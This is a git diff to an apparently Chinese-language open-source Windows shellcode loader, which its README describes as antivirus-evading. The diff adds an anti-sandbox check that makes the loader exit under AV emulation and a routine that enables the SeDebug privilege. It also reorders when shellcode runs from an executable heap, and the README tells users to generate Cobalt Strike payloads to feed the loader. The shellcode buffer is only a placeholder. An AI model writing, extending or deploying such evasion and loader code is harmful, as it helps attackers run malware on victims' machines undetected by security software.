diff --git a/README.md b/README.md
index 48cb6d6..71a0cef 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,14 @@
 # ShellcodeLoader
 
 Windows通用免杀shellcode加载器。
+## V2.0
+增加了杀软模拟环境监测功能，并更改了shellcode执行位置，以此来绕过AV；
+
+PS：下个版本我们将增加更多高度复杂的混淆代码；
+## V1.1
+在maker中添加了用于程序自身提权的代码，防止可能会因为程序权限不足而导致内存读写失败问题；
+
+PS：下个版本将会更新杀软模拟沙箱检测功能，库代码干扰混淆功能；
 
 ## 功能特点
 
@@ -48,7 +56,7 @@ C:\>
 
 2. **使用CobaltStrike生成payload.c文件**
 
-   1、点击生成payload
+   1、点击生成payload(也可以在output栏选择生成RAW格式，RAW格式可直接载入LoadMaker)
    ![image1](img/img1.png)
    ![image2](img/img2.png)
 
diff --git a/src/LoaderMaker/main.cpp b/src/LoaderMaker/main.cpp
index 6448f62..2653214 100644
--- a/src/LoaderMaker/main.cpp
+++ b/src/LoaderMaker/main.cpp
@@ -11,6 +11,10 @@ int main(int argc, char* argv[], char* envp[])
 	printf("                                                                                        \r\n");
 	if (argc == 3)
 	{
+		if (IsSandbox() == TRUE)//检测模拟环境
+			return 0;
+		// 首先提权一波
+		GrantPriviledge(SE_DEBUG_NAME);//防止权限不够
 		FILEINFO shellinfo = Openfile(argv[1]);
 		for (int i = 0; i < shellinfo.size; i++)
 		{
diff --git a/src/LoaderMaker/main.h b/src/LoaderMaker/main.h
index f1d2bcf..a06fd92 100644
--- a/src/LoaderMaker/main.h
+++ b/src/LoaderMaker/main.h
@@ -83,7 +83,7 @@ void* __cdecl Mymemcpy(void* dest,
 
 	return dest;
 }
-BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//д���ļ�������ͨ��
+BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//写入文件，测试通过
 {
 
 	HANDLE pFile;
@@ -93,7 +93,7 @@ BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//д
 	pFile = CreateFileA(path, GENERIC_WRITE,
 		0,
 		NULL,
-		CREATE_ALWAYS,        //���Ǵ����ļ�
+		CREATE_ALWAYS,        //总是创建文件
 		FILE_ATTRIBUTE_NORMAL,
 		NULL);
 
@@ -109,7 +109,7 @@ BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//д
 
 	tmpBuf = file;
 
-	do {                                       //ѭ��д�ļ���ȷ���������ļ���д��  
+	do {                                       //循环写文件，确保完整的文件被写入  
 
 		WriteFile(pFile, tmpBuf, dwBytesToWrite, &dwBytesWrite, NULL);
 
@@ -121,4 +121,69 @@ BOOL Write2file(PBYTE file, DWORD contentLen, PCHAR path)//д
 	CloseHandle(pFile);
 	HeapFree(GetProcessHeap(), 0, file);
 	return TRUE;
-}
\ No newline at end of file
+}
+
+BOOL GrantPriviledge(WCHAR* PriviledgeName)
+{
+	TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
+	DWORD			 dwReturnLength = sizeof(OldPrivileges);
+	HANDLE			 TokenHandle = NULL;
+	LUID			 uID;
+
+	// 打开权限令牌
+	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
+	{
+		if (GetLastError() != ERROR_NO_TOKEN)
+		{
+			return FALSE;
+		}
+		if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
+		{
+			return FALSE;
+		}
+	}
+
+	if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID))		// 通过权限名称查找uID
+	{
+		CloseHandle(TokenHandle);
+		return FALSE;
+	}
+
+	TokenPrivileges.PrivilegeCount = 1;		// 要提升的权限个数
+	TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    // 动态数组，数组大小根据Count的数目
+	TokenPrivileges.Privileges[0].Luid = uID;
+
+	// 在这里我们进行调整权限
+	if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
+	{
+		CloseHandle(TokenHandle);
+		return FALSE;
+	}
+
+	// 成功了
+	CloseHandle(TokenHandle);
+	return TRUE;
+}
+BOOL IsSandbox()
+{
+	typedef void (*PfxInitialize)(LPVOID result);
+	PfxInitialize PFX = (PfxInitialize)GetProcAddress(GetModuleHandleW(L"NTDLL"),"PfxInitialize");
+
+	typedef struct _Pfx
+	{
+		DWORD Data1;
+		DWORD Data2;
+		DWORD Data3;
+
+	}Pfx;
+	Pfx pfx = { 0 };
+	PFX( &pfx );
+	if (pfx.Data1 == 0x200)
+	{
+		return FALSE;
+	}
+	else
+	{
+		return TRUE;
+	}
+}
diff --git a/src/ShellcodeLoader/ShellcodeLoader.cpp b/src/ShellcodeLoader/ShellcodeLoader.cpp
index b86b160..c402719 100644
--- a/src/ShellcodeLoader/ShellcodeLoader.cpp
+++ b/src/ShellcodeLoader/ShellcodeLoader.cpp
@@ -101,5 +101,5 @@ BOOL CShellcodeLoaderApp::InitInstance()
 void CShellcodeLoaderApp::OnBnClickedButton1()
 {
 	// TODO: 在此添加控件通知处理程序代码
-	MessageBoxW(NULL,L"nothing", L"nothing",MB_OK);
+	MessageBoxW(NULL,L"Button", L"Button",MB_OK);
 }
diff --git a/src/ShellcodeLoader/ShellcodeLoaderDlg.cpp b/src/ShellcodeLoader/ShellcodeLoaderDlg.cpp
index c9b5f8e..35fdf03 100644
--- a/src/ShellcodeLoader/ShellcodeLoaderDlg.cpp
+++ b/src/ShellcodeLoader/ShellcodeLoaderDlg.cpp
@@ -45,10 +45,11 @@ BOOL CShellcodeLoaderDlg::OnInitDialog()
 	// 设置此对话框的图标。  当应用程序主窗口不是对话框时，框架将自动
 	//  执行此操作
 	SetIcon(m_hIcon, TRUE);			// 设置大图标
+	printf("Go");
+	
 	SetIcon(m_hIcon, FALSE);		// 设置小图标
-	start();
 	// TODO: 在此添加额外的初始化代码
-
+	start();
 	return TRUE;  // 除非将焦点设置到控件，否则返回 TRUE
 }
 
diff --git a/src/ShellcodeLoader/shellcall.c b/src/ShellcodeLoader/shellcall.c
index 6b0800c..6558419 100644
--- a/src/ShellcodeLoader/shellcall.c
+++ b/src/ShellcodeLoader/shellcall.c
@@ -6,6 +6,8 @@ void run(void* buffer) {
 }
 void start()
 {
+	if (IsSandbox() == TRUE)
+		return;
 	LPVOID heap;
 	heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
 	char shellcode[DATA_SIZE] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
@@ -66,4 +68,28 @@ void* __cdecl Mymemcpy(void* dest,
 	}
 
 	return dest;
+}
+
+BOOL IsSandbox()
+{
+	typedef void (*PfxInitialize)(LPVOID result);
+	PfxInitialize PFX = (PfxInitialize)GetProcAddress(GetModuleHandleW(L"NTDLL"), "PfxInitialize");
+
+	typedef struct _Pfx
+	{
+		DWORD Data1;
+		DWORD Data2;
+		DWORD Data3;
+
+	}Pfx;
+	Pfx pfx = { 0 };
+	PFX(&pfx);
+	if (pfx.Data1 == 0x200)
+	{
+		return FALSE;
+	}
+	else
+	{
+		return TRUE;
+	}
 }
\ No newline at end of file
diff --git a/src/ShellcodeLoader/shellcall.h b/src/ShellcodeLoader/shellcall.h
index 47aba9a..36ea300 100644
--- a/src/ShellcodeLoader/shellcall.h
+++ b/src/ShellcodeLoader/shellcall.h
@@ -6,3 +6,5 @@
 void start();
 
 void run(void* buffer);
+
+BOOL IsSandbox();